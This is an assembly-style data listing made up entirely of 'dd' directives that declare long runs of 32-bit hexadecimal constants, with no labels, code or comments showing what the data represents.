		dd 8DAD1974h, 0F02C597Fh, 3A3B32F2h, 0A130829Dh, 0E1CB75E0h
		dd 92202E77h, 7C7585h, 48A6497Fh, 0DB12760Ah, 0C9FF7118h
		dd 0E56725Eh, 0DFF27D17h, 339F7B40h, 0EC1C8BC4h, 1FC02071h
		dd 0D1A0B5FEh, 752C006Bh, 0BCD2B68Fh, 9A0068DAh, 0F6F2415h
		dd 3C9DCF5Ch, 7104F757h, 8086E61Bh, 645BE878h, 3C491D00h
		dd 0EA52D483h, 0D8380094h, 0E06DED33h, 0FF00FB1Ah, 3B7274E7h
		dd 211B60h, 0CD98555Eh,	513C52B8h, 0E54AE307h, 9F7A0356h
		dd 6943A512h, 9398F32Dh, 0C572E035h, 76CC004Dh,	81C0AA87h
		dd 2400DCFEh, 0D9EE0ACDh, 1793133h, 644DFB7Ah, 3082B57Dh
		dd 0C0E329F4h, 0C00016CBh, 0CFEB5EBFh, 9A4B0F5h, 0D1643A66h
		dd 4ACA9C83h, 0C7D39B88h, 0E05DEB03h, 0B0DF9103h, 7C1A90B6h
		dd 97C306D7h, 0B8BBFD2Ch, 82004176h, 0A295AA1h,	0B32F4Bh
		dd 0C11F2264h, 0DC91538h, 56107D00h, 723135CFh,	50B051h
		dd 0FFFCBE2Dh, 6B255304h, 5F56950Fh, 136E803Fh,	70A8649h
		dd 0F5D93B45h, 0FEE1807Ch, 60C07234h, 9B71D409h, 0BABE00DFh
		dd 809D18FDh, 5A50BB68h, 1100CAD0h, 6C7E3C9Ah, 0E86C4h
		dd 67886976h, 17198EC7h, 0ECEAD901h, 0CB680528h, 712179F4h
		dd 0ADC00BFh, 33D07BABh, 0E50038F2h, 2F93B829h,	0F8963EEh
		dd 52D87210h, 1E9749A5h, 38E680h, 4C469A62h, 489C7E51h
		dd 0FF76700h, 0F047A610h, 711B0B3h, 45DAEAE5h, 6F821FF6h
		dd 0C480BE62h, 839C54AFh, 84043276h, 0FFE43315h, 0AB5D7080h
		dd 5E6B1265h, 0E0BC40F1h, 9DA07ADAh, 0B1008343h, 0D8924E03h
		dd 52317640h, 41DB9824h, 20D79820h, 749E5D5Fh, 0C0848E25h
		dd 578DCDC1h, 54AC2DB7h, 2A967CA1h, 5B0BD05Ah, 4374C1C3h
		dd 39C684h, 0A9CFB1F1h,	0E12B177Eh, 5A3D8500h, 5D26D6CEh
		dd 0FE0D1DD7h, 78871804h, 0AC0145A0h, 0E317CC73h, 5468426Bh
		dd 0CD5CD600h, 2310372Ah, 4BCA3F00h, 4C2F918Ah,	0F874187Eh
		dd 0AD9C2877h, 0E0D37500h, 0F450B642h, 61130491h, 0B1053FEBh
		dd 34DC2134h, 1A0AE404h, 8C7C4EA2h, 5B73CB80h, 8F1C1Fh
		dd 6EBAAEDEh, 56C9A566h, 8B958704h, 0F380F68Eh,	0B1C0C2h
		dd 2D33CFA0h, 7AF1F6Bh,	9A9E5709h, 485A854Dh, 76AC1280h
		dd 6F00050h, 0C0BCE6A2h, 4B39275Eh, 0F90803F3h,	0D03F0243h
		dd 1CED2A89h, 89B9CB72h, 32008F37h, 0A1A091CEh,	946F1001h
		dd 60EF5720h, 0A62EBC40h, 15E2004Ch, 25639F5Fh,	6205DB4Fh
		dd 9D468E76h, 0BBF59404h, 9F8FE8C0h, 50782DA2h,	8880480Fh
		dd 607344FFh, 3126C072h, 5900A8E2h, 0E41C6E9Eh,	542F07A2h
		dd 204F0B49h, 0BB75C8C5h, 0EB485774h, 41DF006Ch, 25B92AA0h
		dd 0DECA00F5h, 0AC8CFEDBh, 0E0229F1h, 0DD04A56h, 0C1B0C086h
		dd 0F6D8384Bh, 0BC1DAF00h, 9B0849B9h, 8FAB8100h, 0C719DA46h
		dd 3FD1E6FEh, 1C9FFC4Ah, 686C084h, 6D536AC4h, 18A02600h
		dd 4332C06Fh, 61FA2846h, 0B1330084h, 0EE47146Bh, 0B7CE238h
		dd 0A02CE700h, 713D3A2Bh, 52AB00E5h, 7A778FF8h,	0C00FFF3h
		dd 0D8D378C9h, 45217Bh,	0DB0B26E9h, 92E739D5h, 0B8D75801h
		dd 8425708Dh, 25546620h, 788FD90Dh, 0F0C65E0Bh,	6900E4FEh
		dd 0E32EE047h, 3F5D59h,	0B4D84E57h, 0D17DA531h,	27827C00h
		dd 2958211Fh, 16500043h, 0B045577Fh, 0E1004C02h, 17155DC5h
		dd 7AA91C89h, 0BF9A00D3h, 0A418F971h, 9000069Bh, 177FAEAh
		dd 0FACF08E6h, 0A01400F1h, 0A3B213DEh, 205C70B8h, 0E6B40015h
		dd 0FF289E4Ch, 36EB0031h, 0C44B2CFEh, 0D5484AD6h, 5E9F0092h
		dd 63A01906h, 2AB226BCh, 4C2618h, 0F58878A3h, 9B00A5B4h
		dd 26D96B0Fh, 0E6FA8Bh
		dd 3644A696h, 236056C4h, 0D1270300h, 0A5728706h, 0F3F4E61Eh
		dd 7F0F2BD4h, 265D7D53h, 0EA3EEA1h, 0D8B299C2h,	48003EFCh
		dd 0EC6772DFh, 0C80274h, 284226F5h, 0A2E5FB0Ch,	88520E05h
		dd 9C05F707h, 0CC0F1BEh, 0B2B9D2h, 0F4E37F5Eh, 0A7AE447Bh
		dd 0FB54800h, 9B958CC0h, 218D0058h, 68CBA205h, 4B00EBC1h
		dd 0E32B6985h, 1130BEDh, 48372878h, 0C4E919C8h,	880C0ABEh
		dd 0C29F8D5Eh, 0B9C31338h, 66E80240h, 50F0E1EAh, 4432CE07h
		dd 0C67E22Bh, 0C6A2FA50h, 0C3460F6Bh, 6CEE991Dh, 0D8C206C0h
		dd 7701F1AAh, 2471BE4Bh, 583CD95Bh, 7F1D5F02h, 5458A82Fh
		dd 201CEE07h, 4E94FDC9h, 0C13C07EFh, 0B23306Eh,	0AB00E0F5h
		dd 0F43C591h, 1BED6B8h,	0AEA2EBBCh, 0DC032E95h,	5C905765h
		dd 14F3B912h, 772CD8h, 916D978Fh, 8BD62853h, 74A46F00h
		dd 98FFE1E9h, 1C9000C2h, 761DDA25h, 0B00331CBh,	9269A55Ah
		dd 0F00ED817h, 66D90F15h, 0A8A00348h, 501E4210h, 0DDA1D326h
		dd 71DAE600h, 78FE5A5h,	49972775h, 130E4038h, 14988757h
		dd 8CB49000h, 0A03A6D58h, 1FD8004Dh, 0BDA2E6C6h, 780030F3h
		dd 4063B89Eh, 4F660DAEh, 5F3C006Fh, 1C48F0EEh, 83CFEC00h
		dd 4E0868Ch, 58FE0028h,	1D63813Dh, 0A601AEB9h, 0B47A9412h
		dd 0CEE4C021h, 2DCF0054h, 98DDF206h, 0E8FA3BD5h, 957AAC0Bh
		dd 2000817Eh, 0A08780ADh, 502A7FD7h, 0E7AA6AF7h, 0F6A7B100h
		dd 0BE6FB66Eh, 1BE20AC8h, 38E06839h, 0D021FD80h, 63FCBB04h
		dd 1F7BCE2Ch, 0F208DC00h, 1B12DF8h, 0A2AC105Fh,	0FC345660h
		dd 0E34CA5F1h, 5D370082h, 57EF4AE1h, 0FF905036h, 13C9A06h
		dd 847552D9h, 0FAFAC52Dh, 2E07C45Ah, 7307F6F7h,	23014F0h
		dd 78ED26E9h, 22298744h, 6920D009h, 0B001320Bh,	5416BC1Eh
		dd 90DBA171h, 485F373Dh, 0FC0BF424h, 74008ABFh,	8FB1E889h
		dd 356F1301h, 53E2F46h,	66B3C8h, 3442C582h, 25EB0794h
		dd 0BFFAA500h, 887630A4h, 0CFC100FBh, 5A6E5E54h, 0F490AB83h
		dd 0F5E60D0Eh, 5824603Eh, 0BA643AFBh, 0AEB70004h, 0A50598DEh
		dd 4D060CF3h, 0D7F98735h, 6C7300C0h, 2756211Eh,	5B007840h
		dd 0F91DCC8Ah, 0A0BE8BCBh, 0FE6BBDE8h, 0F2F71D50h, 0D54EC644h
		dd 0C400D01Dh, 3DC98A2Ch, 9BAD01h, 6F5D7195h, 2136B142h
		dd 0BBB6A438h, 94D5894Ah, 0E17000D1h, 0A9899Eh,	79D5359h
		dd 324AF5FCh, 2C5B2E0Eh, 0DEFE81B3h, 730B5CEh, 1B20007Eh
		dd 4D5A961Dh, 7B79089Ch, 78BC4900h, 0C394988Fh,	10BA007Eh
		dd 66EA2D5Ch, 0D40108FFh, 2E29C271h, 0C3E8D1B7h, 0C8620069h
		dd 0ABCFE816h, 8E011F73h, 5B7CCB8Fh, 0CADCFFE2h, 658212FBh
		dd 4334006Dh, 17A39AE1h, 105F58h, 3CDD1022h, 4A1A9C71h
		dd 0E2248049h, 700DFE9h, 0DCD5A4C9h, 432761h, 76160C13h
		dd 4A425236h, 3806C209h, 7D14A022h, 9E28E8DEh, 74D35140h
		dd 0E0BDCDD8h, 0BB7472h, 4F805222h, 0AE766EC9h,	0DBA22700h
		dd 3B642B1Ah, 75CB863h,	7EF0F9A7h, 6F7F309Ch, 0AC7943E3h
		dd 0D4669800h, 48414FCh, 503D127Ch, 0B9513D6h, 3080A7C4h
		dd 0F841B9FFh, 6F3F2F00h, 98EFDF73h, 2CA40097h,	0A8D817FBh
		dd 6500818Eh, 1318648Dh, 0E4722F38h, 46C958F5h,	28306600h
		dd 0A968CA0Eh, 598F2003h, 886393B9h, 0ACE74Fh, 0AD5ED81Bh
		dd 47223AC3h, 0DD2B7700h, 295A3D6Ch, 7E3B2683h,	0DF4B051Bh
		dd 0C2C05E26h, 58E2CD21h, 6277A8C0h, 881C5000h,	895ABEB0h
		dd 7E1BEAC0h, 0CC9F0024h, 9C2F6308h, 8300E79Ah,	0D0D14AD2h
		dd 20297F7h, 0EC0B5F8Bh, 0C0805DE2h, 0D6A9213Dh, 0C3D925h
		dd 80EAF04Ch, 0F18C00D3h, 49529D78h, 7E00B0C5h,	8B6251CEh
		dd 3C289860h, 700F2B59h, 5300B9AAh, 6EBEC10Dh, 0C2758402h
		dd 62115C1Dh, 0D9F1C068h, 81BD09D1h, 888135B4h,	0E82268A8h
		dd 8E01AF56h, 75A7C9BFh, 0A7604F85h, 9961D9Bh, 0D4FC4015h
		dd 1EC06A1Ah, 9EE2640Ah, 0FB0A884Ch, 0DC2CEBA9h, 1853E180h
		dd 0B0690645h, 0B8710128h, 31EC82DCh, 0AC88FF57h, 32006E86h
		dd 0A441BB6Fh, 0D16D59h, 4E028A71h, 5C77AF63h, 76588A0h
		dd 8FAE0C17h, 38482C98h, 0C897C049h, 9C2F04CCh,	0FFEA8023h
		dd 72004289h, 0C1586596h, 0DF8CC2h, 0CBB2C466h,	0A371EAF5h
		dd 3F383690h, 80833B0Bh, 0F26BD6ADh, 1842D8h, 711ED77Ch
		dd 84C7AE8Ch, 0FA884701h, 83410238h, 0FB7B3D8h,	0EE65ACF8h
		dd 0BB160D60h, 0AB009CF7h, 1AA711D2h, 1DF268h, 0E7CAB386h
		dd 0E63278B7h, 0E9818C1Dh, 54B4E000h, 0DEB6CC5h, 0BAEE07D3h
		dd 6A7A60FCh, 0DA4C4000h, 2D317754h, 4BF2008Dh,	4DA2F88Bh
		dd 0AF0766E5h, 87281BA9h, 9D8DAC90h, 0ADE700F2h, 398B9C0Ch
		dd 2700EF94h, 5D91CF7Fh, 155A7C2h, 0C3F2588Ah, 7070E663h
		dd 0DC79A173h, 7919AA00h, 62ECE1CFh, 2C900A8h, 757240D0h
		dd 24004241h, 0EE671FBEh, 3B880ED4h, 0B80F72Bh,	0A49CC9A3h
		dd 0E6077461h, 93179832h, 753C8E60h, 0EF2800F2h, 0E126730Ah
		dd 7C00FA12h, 6EDA6645h, 8B8497h, 0CC78EA16h, 4BFBCC4h
		dd 3BE94D03h, 3B368617h, 0BA000721h, 60F152DEh,	4A14EAC4h
		dd 84E029h, 2EDF97A7h, 1C9E511h, 0DE64C78Fh, 80376966h
		dd 8853B120h, 0BD8C602h, 31B9C429h, 50EC9E07h, 0CE18625Eh
		dd 0E14DCC00h, 0BB765946h, 800C1C51h, 0C7928014h, 1B47D2EAh
		dd 43268F00h, 9DA6984Eh, 723200B4h, 0D4F1ADC2h,	9F372946h
		dd 26501916h, 8283E9Bh,	9A2439A7h, 0EA51E80h, 3C4B95C6h
		dd 9C80A33Fh, 0A0B94E3h, 9002918h, 8E0DAB03h, 118CC5h
		dd 0A4F4EC35h, 32BE87CDh, 6583EB00h, 0E6C5281Ah, 0AA270E9Eh
		dd 25A08CE5h, 0CB22D58Bh, 9D55C207h, 587044F3h,	8A7B1Ch
		dd 0E6FBC842h, 1A323586h, 0EE005AE4h, 0E7248036h, 0C84FB3h
		dd 0A4278A1Fh, 70F3F1Bh, 5E31EF01h, 0E75743CEh,	7A9BC8h
		dd 27DF056Fh, 2502DA51h, 0C1EB1D00h, 0F5721C6h,	601924F4h
		dd 0B9C9006Ch, 474FFE0h, 1D0CF37Eh, 0E053D59Fh,	4CA00687h
		dd 987FE922h, 88E84907h, 57C7044Fh, 9CCACCD0h, 2EC10F9Bh
		dd 8B40D79Fh, 598D293Eh, 0AA0073E6h, 0B5E9B05Bh, 0A7F7547h
		dd 40322D74h, 0B1F500F5h, 69F7B8ADh, 0E9C9B400h, 5609B310h
		dd 0BDDB0017h, 786F4915h, 0ABECA2D7h, 9CC25B1Eh, 4EBE5240h
		dd 0F01D51B6h, 4ABF1394h, 0E0E30018h, 0ED1ABC5h, 7C2A200h
		dd 0BA4EDE1Fh, 4C6B48C1h, 35397C00h, 20DDB14Dh,	0AEE30D03h
		dd 80BF56BCh, 1F43E77h,	2716820Ch, 80A5CDF0h, 0E01FEFA6h
		dd 4A588Eh, 0BAEDBFACh,	32C505B7h, 6F902600h, 4F664B9Bh
		dd 60727DFFh, 2FB8A8AFh, 3DFCFE78h, 91CCA000h, 686D0687h
		dd 0DB4F004Ch, 6C812D03h, 98005907h, 45D5B3B7h,	0F495B82Ch
		dd 98037C02h, 0F882F200h, 0DD5B000Dh, 50B0A360h, 0F80074F2h
		dd 8E4EE10h, 6714AA23h,	0F387E070h, 0B8008C1Bh,	2E80C08Fh
		dd 0B45B38h, 0D962DBCFh, 3EFDE0FBh, 0A6933700h,	2607B140h
		dd 21E10079h, 153A14DFh, 3B3FC204h, 80A6BE29h, 0BFF7BAF2h
		dd 1D7689A5h, 878AB38Dh, 0C24A9CF4h, 70687DE0h,	8EA647Fh
		dd 617838h, 0BC96B660h,	3BE022DCh, 8C517383h, 330640D4h
		dd 88B06FACh, 5DF5DAB0h, 0AF2C7C0Ah, 9919B0EEh,	90C63BA0h
		dd 31635E30h, 15500886h, 48BF60E9h, 58AA8C30h, 0CB8012h
		dd 9464BB40h, 58C7E266h, 6001A2B8h, 0FB4C519Fh,	0DC403A86h
		dd 0FE4A8F84h, 8DB00745h
		dd 2E62F849h, 3AABC0BCh, 6C73C6DEh, 0F68AA0C7h,	72D37711h
		dd 0EC1E1080h, 78EDBD1Bh, 5BCD7C00h, 0F714A93Eh, 552F00B5h
		dd 0E48B736Bh, 45716A77h, 9F36C018h, 33F0A0h, 10FA3D0Eh
		dd 898054D0h, 0C83A4Ch,	0B9474A4Bh, 60C132h, 2920F8A6h
		dd 6BAE93B0h, 4C312200h, 0FE861846h, 4D91C05h, 0DC645Eh
		dd 0BD6F4BC4h, 48B059CDh, 50274624h, 7EB516BEh,	0F1006C1Eh
		dd 1364D673h, 6B4F043Ah, 8056E1EAh, 0FAB51AACh,	0A45D1224h
		dd 0F6AF800h, 0E45CD47Dh, 8AA30093h, 227F78F5h,	0EA005B88h
		dd 0CDCBD101h, 76717D02h, 0F9210195h, 120B0C84h, 89EDC25h
		dd 0B0BE1502h, 4076AC3Dh, 0D7D813h, 94AD890Bh, 0C8831377h
		dd 2497C0Fh, 180E20F9h,	7AF0F8h, 786CB5EAh, 0EBC21F37h
		dd 0AFC05306h, 0EEC915E9h, 0B62E0F47h, 0D1000DC8h, 1A911B75h
		dd 0FC140100h, 79828E31h, 0B5B9007Eh, 76A75A08h, 9D24B247h
		dd 5E1124E0h, 9A88C300h, 7AC757F9h, 1681FF00h, 0DB26C547h
		dd 588FE625h, 18005289h, 0CB30568Ah, 0BB48E9A4h, 0B9630200h
		dd 40B892D6h, 0DAD344h,	0F55B3CF1h, 7CFFDDAFh, 0F2BE2A07h
		dd 4DF7524Ch, 778FA410h, 37051C43h, 612A84E9h, 0EA4808Bh
		dd 66121595h, 0B861E1E4h, 0C610CA47h, 3C0784E9h, 0E507F0BDh
		dd 429B8BE2h, 0BC9CFBh,	6657043Ch, 0CA8AFB19h, 70AA2E02h
		dd 4672C177h, 0E7D178C8h, 0C6B4608Fh, 0D3256E44h, 0D0F8A918h
		dd 0E1058E10h, 5C0D086Bh, 0A18C40Bh, 0FE121C33h, 0F848C839h
		dd 4A1E13E3h, 55D441EEh, 213E951Fh, 6FA6D46Ch, 8235A706h
		dd 9580CB6h, 6C6D15BCh,	0BDE3C80h, 0AF699EFh, 0F02FF309h
		dd 0E4940048h, 0D7CE54h, 1E900CC5h, 0BB381225h,	0A000BA79h
		dd 8A5482E8h, 786906h, 927E7BFh, 0CAC2FD58h, 7B4C1B48h
		dd 6C383300h, 2B1F29B6h, 90D248F2h, 0AD62F70Bh,	4910F890h
		dd 0FB00B090h, 0BEFEB522h, 0F4AE372Eh, 9DFA12F1h, 6A8400CFh
		dd 47A55819h, 9F157B04h, 58D3B2E1h, 2FA8001Ch, 0BD90FDE3h
		dd 709A5C14h, 0E1565800h, 24026AE2h, 0FFBB157Dh, 9A00A054h
		dd 95B9E8F1h, 2700A5EAh, 448DF9Fh, 303F973h, 0D01EA984h
		dd 42D82507h, 0B10086FEh, 0DDDC11BFh, 0C4D2CAh,	957DC25Eh
		dd 141948E2h, 0AD162007h, 778328C7h, 42ACB88Ah,	658600E3h
		dd 96851FE6h, 9B3BAA61h, 0BB7180A8h, 32C74E11h,	5D9C0027h
		dd 9FB167CAh, 6D007B8Ah, 0A269AE2Dh, 3E4E102Bh,	0BB00BDC1h
		dd 0AA132AB4h, 3C00FC68h, 4B213A79h, 9F40BAh, 4269B2C6h
		dd 49CC672Bh, 5190EC00h, 0DBA64A9h, 5FE6EEh, 239A19C0h
		dd 77C4943Fh, 3802B6EEh, 5628B5FCh, 0DB60E0CDh,	1E7B2Ch
		dd 0B2763FD9h, 9549A477h, 74001DFCh, 6B9752B4h,	3CBB02A6h
		dd 0C81FB657h, 54ED80DBh, 0FFD7D1ECh, 6C981F24h, 0BCC3A680h
		dd 0B1C8Fh, 2B246CB0h, 297CC549h, 0D165B20Eh, 54009272h
		dd 0F1EF3A43h, 0AC3E0125h, 0C4491383h, 4AC0D81Ah, 2C16E701h
		dd 69E64DB7h, 0E2B1C030h, 12BD3045h, 0C0E3FB11h, 0ACB6EA13h
		dd 0B0F9C802h, 61802C2h, 0E8F20060h, 780030E0h,	0BC6CEC16h
		dd 0FAB4D61Ah, 29C9221h, 4FF86031h, 94400987h, 6CB04643h
		dd 706077FAh, 3B0582Eh,	4C80098h, 60B781ECh, 8803C1AFh
		dd 0C2CB4CFBh, 661AF09Eh, 0BAB300FCh, 38C0B51Fh, 0F300E7E1h
		dd 8502998Dh, 3BC8DA35h, 4B00F15Ch, 3E84D345h, 0A62668C6h
		dd 0F300C649h, 4F5438E5h, 425800D8h, 41603E06h,	0C9133995h
		dd 0CC001AEDh, 0A98B0788h, 7C2407C0h, 9FD270F3h, 7658F178h
		dd 0EA4C7200h, 0A66EE5FCh, 0BF8D002Ch, 0AD1945F5h, 0E71CE46Ch
		dd 7500983Bh, 0CEB8A91h, 0E920E718h, 53200E3h, 99562F39h
		dd 454935C7h, 75B700ACh, 69F98CB8h, 0D0EC3880h,	4AE9D900h
		dd 63990876h, 0E10B44B0h, 8051210Ch, 646DCEA4h,	0DF2B00E2h
		dd 0BFD6CC89h, 9CBA0BEEh, 35486575h, 0A85C0AE0h, 0C100A311h
		dd 0F1B5EF77h, 459D025Eh, 1679281Ah, 0B64AA4C0h, 95933Eh
		dd 27F451BBh, 0EB76F7Bh, 665C70E5h, 63FF83BCh, 2FF201B5h
		dd 2213DCC0h, 1A40A809h, 2D288349h, 0A580D5A4h,	8D20D2h
		dd 0FB140C7Eh, 5D8E85EAh, 0BEC76800h, 0F8036EA5h, 0A3AF3DB4h
		dd 0F343D689h, 7E893CA0h, 9705350Ah, 264B8D51h,	31330F80h
		dd 3FB00F7h, 0EF76BB53h, 2A1E1AF5h, 61836B34h, 0F0D76744h
		dd 7960D15Ah, 0AC5600CEh, 0FBFD8FBBh, 0B00F648h, 4077A675h
		dd 7E87C5E8h, 0C94900A0h, 1215AB37h, 1900674Eh,	0EA08C653h
		dd 744A282Eh, 0A0330064h, 5F228046h, 1E00C576h,	67D19B11h
		dd 4A76BDCh, 0C2424B53h, 91C756h, 0E6A65EC8h, 12339100h
		dd 6C4003CCh, 689C071Eh, 0F7B4F1D6h, 0E1F41020h, 66B0D8A4h
		dd 4058E600h, 18CD5D17h, 3BE6A8h, 8A52EC65h, 600F7FBFh
		dd 0C641A203h, 83A43DD5h, 315CD042h, 0A7DA073Ch, 802D236Dh
		dd 773AA903h, 0B5589F03h, 0A9B48916h, 56F4EB2Ah, 571D1ED7h
		dd 0CF4C043h, 7724ADB5h, 0A95CA602h, 613F7FC1h,	0BEE8F6ACh
		dd 1DE200B6h, 0CC4BE0C0h, 7A012E14h, 10518CF3h,	72F9B05Ch
		dd 0C342C2E0h, 0EB734D11h, 6787D1E0h, 0EEE3101h, 95E474E7h
		dd 3A5B05E0h, 7F014FEDh, 497EC6F7h, 0C78FC415h,	0CE88120Eh
		dd 0A9F483A5h, 0B0D80034h, 40DE7305h, 3B031302h, 1512ADCEh
		dd 0D5ECC014h, 87880FAFh, 73235AE5h, 4040C8F2h,	0F930EE88h
		dd 0BB08685Fh, 0EE4307Bh, 67D06518h, 72E60200h,	0AAA590EFh
		dd 0B05A0085h, 0A1448DAh, 0A000FAB5h, 0E94FF217h, 947F13h
		dd 0EB43E54Bh, 821D658Bh, 55F84E00h, 77491CF3h,	955908A2h
		dd 0FB072E7Dh, 152185E8h, 6C05A6Ah, 62C40C63h, 5E206079h
		dd 0DF65F318h, 0EAF5A90h, 0E163E8D4h, 563E6A00h, 8201839Bh
		dd 0DFD8DB5Fh, 10F301F5h, 0F43F340h, 3B06BDDh, 0C03037BCh
		dd 40B3D081h, 411531EDh, 0BC9693h, 6B4AF7DFh, 33A74B5Eh
		dd 0E9185B87h, 0F40E091Eh, 92C48930h, 6451CFF0h, 0A1755AC1h
		dd 0D8D1815Eh, 6927F5CCh, 0A80B9EE0h, 1220EB0h,	627B3BB1h
		dd 0F46E5h, 821E6Eh, 9211634Ah,	69D4FB5Ah, 776CBF8h, 34471539h
		dd 600060ECh, 6919256h,	41501E8Fh, 161D45DBh, 572C3C7h
		dd 65724DB0h, 19406900h, 0BC86A8E1h, 95B00025h,	27743468h
		dd 263CDC32h, 0BF5F8039h, 6CF51FE2h, 648800CEh,	4C6E7497h
		dd 7E00296Fh, 0BB581804h, 30FFCB14h, 0F6901B19h, 27303331h
		dd 347CD95Eh, 144F03A5h, 0DD13042Ch, 23A30583h,	0EC292100h
		dd 0F026A1A5h, 4EDC6219h, 0B48083AEh, 20549005h, 350CE57Bh
		dd 188032F4h, 0BC0710B9h, 1F637F47h, 0A2D31548h, 4D108A61h
		dd 0B0262034h, 12344698h, 5305A51Fh, 4C4802D4h,	371E802Fh
		dd 419CAFA5h, 7C39FCECh, 0D0ED0057h, 6A024DDFh,	84E34990h
		dd 0F72C200h, 0DEAF62E7h, 85955D0Ah, 6D06F825h,	15503316h
		dd 0EC49795Ch, 168DC00h, 372E95D9h, 4B00BCECh, 0DFF13D8h
		dd 1BF2036Ah, 0C06BAC93h, 0E88B823h, 487FA603h,	2A5804F4h
		dd 1BA5003Bh, 4E478A62h, 66040A38h, 0EA2BE8EDh,	0F10F6C80h
		dd 0C0B818DDh, 0B196C810h, 11972500h, 99511E1Ah, 0D3F0007Ah
		dd 5076209Bh, 0E0003FBCh, 1F450ED2h, 3D19AEC6h,	801C896Eh
		dd 0D30C838Bh, 56E95227h, 511AD866h, 601B800h, 4BC0E7Fh
		dd 0EA5C00DEh, 7FF9F2Fh, 5007A539h, 3F35C97Bh, 0BC2AFCA0h
		dd 28DD0189h, 0D79A5DA4h, 34188044h, 2084E438h,	14D51C3Fh
		dd 0A010BDh
		dd 27E3F364h, 1CECCBB6h, 0C0E97AC2h, 47903D4Ch,	8400016Eh
		dd 0C8BCAD7Bh, 30FEB449h, 0FF706A17h, 79C189C9h, 89BF4D4h
		dd 0C426C4h, 8CA77754h,	0C033D866h, 0B9329D03h,	7349B88h
		dd 0E1FF1230h, 65719041h, 8161E218h, 706DCF18h,	298E9AEDh
		dd 8234299h, 8BF0E0EEh,	1B0374A0h, 40191553h, 0A650C3BAh
		dd 73E80080h, 68520AD9h, 9B00D8D4h, 0AFE7774Bh,	3A87D5h
		dd 66B556A1h, 0C252C563h, 0C3409200h, 9D73AD7Eh, 6DBE0017h
		dd 0AA3C76BCh, 1E01C80Ch, 8D3FD532h, 0ADEF1C40h, 0BD179C00h
		dd 0A35BFC2h, 0C404B726h, 0C075080Ch, 172D885h,	440C9007h
		dd 5CB02170h, 34A13ED6h, 0EDF16F8Bh, 19C60075h,	18DBAC79h
		dd 48701454h, 0DA781C32h, 80A32FEEh, 0B0A0338Ah, 0CDD2B5A8h
		dd 8079D9E1h, 17198561h, 1B9C9Dh, 0B52BC967h, 9B18D151h
		dd 88458100h, 4E0B6C7Ch, 9C300A8h, 0F4D7DA7Eh, 710053CCh
		dd 46992EC9h, 36E673Ch,	36062287h, 0CBE06B5Ah, 40075CB3h
		dd 8B49F131h, 98D1FDE3h, 4C3986C3h, 0A700224Eh,	135953CEh
		dd 710054E5h, 9DD5D341h, 9E22DFh, 29E75250h, 0E93DE1C5h
		dd 9F63E400h, 0AA02302Fh, 7677079Dh, 10FC8AFFh,	8C5F514Dh
		dd 0EE5DBA00h, 6B22421Eh, 3729008Fh, 0A61FFD4Ch, 1303648Dh
		dd 5EC9502Ah, 0EC4DB1ABh, 0A1C5A080h, 272BFA6Eh, 0B7E488C0h
		dd 71401301h, 0DFB60112h, 76448A15h, 6A7180FBh,	0CD797BADh
		dd 48C00653h, 0B89399D3h, 6890B700h, 0C0ED57Ah,	659A00F7h
		dd 66B2A5CAh, 2A01C4D4h, 0B6A1C959h, 42D05E33h,	0F3CF012Ch
		dd 7EAE8DBBh, 0D6F6203Ch, 8D40E30h, 0C79CB56Fh,	209E5C10h
		dd 0FEE73139h, 7F33Eh, 5C0ABF9h, 376594Eh, 5041AAC8h, 29113070h
		dd 0F511F6E2h, 0C74A11CDh, 215BB611h, 0CA7908A6h, 7BA0E88h
		dd 0C0AC03A2h, 43271680h, 8ECC3500h, 514EC988h,	9A49061h
		dd 0E212B4C0h, 8500958Bh, 45FE6B78h, 57C62E00h,	0D5366E15h
		dd 3C86F404h, 53BAF638h, 0A5129201h, 80A89A2Ch,	0F2BD6F0h
		dd 261A410h, 85711ACh, 0AAC093C8h, 403B02CAh, 90A38072h
		dd 7868B52Fh, 0DD320FABh, 0C800F1A4h, 0DCBD4D50h, 0E4D310C0h
		dd 4C871B82h, 0DF0111D2h, 0AA01A2D7h, 3485DC45h, 80753139h
		dd 0D939C836h, 3155E2Eh, 1E8668FDh, 0B2F8B465h,	366135FEh
		dd 418C3D98h, 8419C0h, 153CD4D3h, 381EB5BDh, 88F55Ch, 8BAAB9Fh
		dd 33F4A7h, 46CDE6CEh, 510E5B67h, 4F9F84C0h, 10596E4h
		dd 25D35D5h, 44B5DD9Eh,	0BB94C0F4h, 0F40EABADh,	605E203Ah
		dd 2777EF82h, 65230035h, 0CCA439E7h, 750763B6h,	0F43B67D4h
		dd 8E859950h, 97BD008Bh, 834179EBh, 560045A9h, 0CEBFD8E2h
		dd 0AD5220h, 74B029ACh,	0FA097FA6h, 7012FC1Dh, 68C27AC0h
		dd 122A71A9h, 0ABDF38h,	0D6C3E946h, 0B300CFA3h,	3F5C43A6h
		dd 90E26Ch, 2C053334h, 5AB1F660h, 0B0BDAB00h, 5B4CCFCAh
		dd 55EF03C5h, 8924921Fh, 1C67A2F8h, 0D6144101h,	0DB750A60h
		dd 0FEBFCCh, 0ED5DAD8Fh, 0A2943DACh, 6D5E9200h,	836B8D74h
		dd 115FED8h, 657E329Ch,	40AE9912h, 25C35394h, 0F5065B00h
		dd 0CDAD4052h, 9AFE0024h, 535AB501h, 0AA00E75Fh, 7118594Fh
		dd 0FFB389h, 0D4AFF681h, 0C5E29FB5h, 0C9955A00h, 187ECA34h
		dd 214E3F29h, 0D500C7BBh, 6CEBD7A6h, 3D004D03h,	0CF16B8F1h
		dd 26E9A4h, 0FAB9788Eh,	7C42A97Bh, 4382B200h, 5D5F3C98h
		dd 682C01C7h, 0BC923F15h, 0D69660A1h, 2E00FB72h, 0FE6F0473h
		dd 3C7B1D6Dh, 9080B407h, 35A3BB4Ah, 0A6F04B12h,	2D71F900h
		dd 5639D9ABh, 0ADA7004Dh, 4C9E6DB6h, 0D000D372h, 0C3B8C8C6h
		dd 14D192Ch, 9F085438h,	0E849B180h, 91010E13h, 817B6DBDh
		dd 0C33165A6h, 0A49CF8h, 0F407749Dh, 0CFFA024Eh, 0C3D67B00h
		dd 69C1C921h, 1D46005Dh, 9EEE8B5Ch, 7600C457h, 23E2AC94h
		dd 11A812Eh, 3B0E9A4Ch,	0C0E345C5h, 8B0F6D8Eh, 6EB4A30Fh
		dd 60BD2756h, 0A0F319B0h, 0F83D1FC3h, 7DC640D6h, 0EAE7A414h
		dd 40055F2h, 3622B3FAh,	0D2854Eh, 39543DDCh, 5CD91F01h
		dd 67441B1Fh, 0AFC59D80h, 0CC2B1Ah, 0E51C473h, 33DF0372h
		dd 7FD8D8A3h, 0FC00616Bh, 4CD2E10h, 0D5DBCBh, 0BC90E103h
